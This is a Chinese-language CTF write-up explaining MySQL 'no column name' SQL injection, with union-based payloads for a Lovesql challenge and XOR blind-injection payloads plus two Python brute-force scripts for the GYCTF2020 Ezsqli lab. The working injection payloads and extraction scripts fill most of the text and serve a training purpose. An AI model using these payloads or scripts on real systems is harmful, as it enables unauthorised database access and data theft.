sql无列名注入与作业wp

前言

实训室讲了mysql的联合查询注入与无列名注入,因为联合查询做靶场就写过了,这里就专门解析无列名注入,并且写下布置的作业wp。

无列名注入

从实战中开始讲起。以[极客大挑战]Lovesql为例,这题直接联合查询也是可以的,跑sqlmap也是可以的,但这就很没意思了。因此我们用无列名注入来解题(order by跑出来有3列,且2,3列可显)。

首先,我们考虑使用无列名注入的条件是information_schema这个数据库被过滤了,导致我们无法使用联合注入。在高版本的mysql中,我们可以使用mysql.innodb_table_stats或者sys.schema_auto_increment_columns等等来获取表名,这里我们构造第一句payload:

1
111' union select 1,(select group_concat(table_name) from mysql.innodb_table_stats),3 #

获取表名之后,由于无法获得字段名,因此我们编写无列名注入的payload:

1
111' union select 1,2,(select `3` from (select 1,2,3 union select * from l0ve1ysq1)a)#

来分析一下这段payload,首先整体上还是一个联合查询语句,但是区别于平常的联合查询,这里原本用来查询列名的语句被替换成了不使用列名进行查询的无列名注入语句。无列名注入的原理简单来说就是将我们不知道的列名先取一个别名,同时进行数据查询。

具体的原理解析可以参考这条链接的内容:
mysql无列名注入

这样我们就不难看出,这句payload起到的作用就是将1,2,3三个数字对应了数据表中的1,2,3列,并同时对第三列进行查询。最后一个字母a相当于一个名字,可以使用任意字符代替。

在实战中,反引号是基本上不会放出来的(当然这题没有被过滤),因此我们可以采用别名法带入的方式避免payload中出现反引号:

1
111' union select 1,2,(select t from (select 1,2,3 as t union select * from l0ve1ysq1)a)#

我们将t这个别名赋予了3,这样上面的两句payload是完全等价的。在注入过程中发现返回值超过一行,使用limit语句一个个注入,最后发现下面这句payload得到了flag:

1
111' union select 1,2,(select `3` from (select 1,2,3 union select * from l0ve1ysq1 limit 16,1)a)#

具体学习无列名注入,除了上面的那个链接外,还可以通过下面这个链接进行具体学习:
Bypass information_schema与无列名注入

[GYCTF2020]Ezsqli write up

一进网页就是孙笑川的大脸,还有懒得做前端的师傅的疯狂吐槽。这都不重要,重要的是最下面的数据查询,我们先判断注入方式。但是当我输入进1’进入时,它回显了一个bool(false),我觉得有点不对劲,马上拿出了异或注入进行测试,结果我发现我被偷袭了。

这题还是道盲注题!当我注入1^1^1时,回显为“Nu1L”,而注入1^0^1时,回显的是“Error Occured When Fetch Result.”。而且经过测试,or被过滤了,因此我们还需要采用无列名注入的方式进行注入。

先测试了下database()的长度应该是21:

好家伙这数据库名这么长,那只能跑脚本了,由于还没有脚本经验,因此就大概写下payload的构建。

首先是爆表:

1
1^ascii(substr((select group_concat(table_name) from mysql.innodb_table_stats where table_schema=database()),1,1))=103^1

由于information_schema被过滤,因此我们使用mysql.innodb_table_stats来查表名,这句payload就是句很平常的布尔盲注,表格的名称是“f1ag_1s_h3r3_hhhhh”。

接着要查询数据,我们构建一个这样的payload:

1
1^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)).format(flag)^1

这句payload的原理是将大于号左右两边的字符串进行比较,如果左边较大则返回1,否则返回0,这样我们就可以判断。要注意字段数,如果查询失败应该更改左边的字段数并再次进行注入。

详细分析下这段payload,就是将f1ag_1s_h3r3_hhhhh表中的数据内容的ascii码值与“flag”的ascii值相比(format将前面的{}替换成”flag”),这样一步步就可以将flag跑出来了。

当然,由于这里用的是>号,因此脚本中要将输出的字符减1,因为判断成功时花括号内的字符是比实际内容大1的。

最后偷一个大佬的脚本吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
flag=''
url='http://ca5cdac5-e97e-42df-9ed0-233bc75b4c4d.node3.buuoj.cn/index.php'
for i in range(1,50):
for j in range(33,127):
payload = "1&&ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),"+str(i)+",1))="+str(j)+""
data={
'id': payload
}
r=requests.post(url,data=data)
if 'Nu1L' in r.text:
flag=flag+chr(j)
print(flag)
break

爆表脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://6c05130d-3668-41d6-9ad6-5e69ce00e0cc.node3.buuoj.cn/index.php'
x=''
for j in range(1,50):
for i in range(33,127):
flag=x+chr(i)
payload = "1&&((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag)
data={
'id':payload
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
x=x+chr(i-1)
print(x)
break

爆数据脚本

总结

sql注入又一块拼图补上了,接下来就是继续刷题刷靶场的时间了。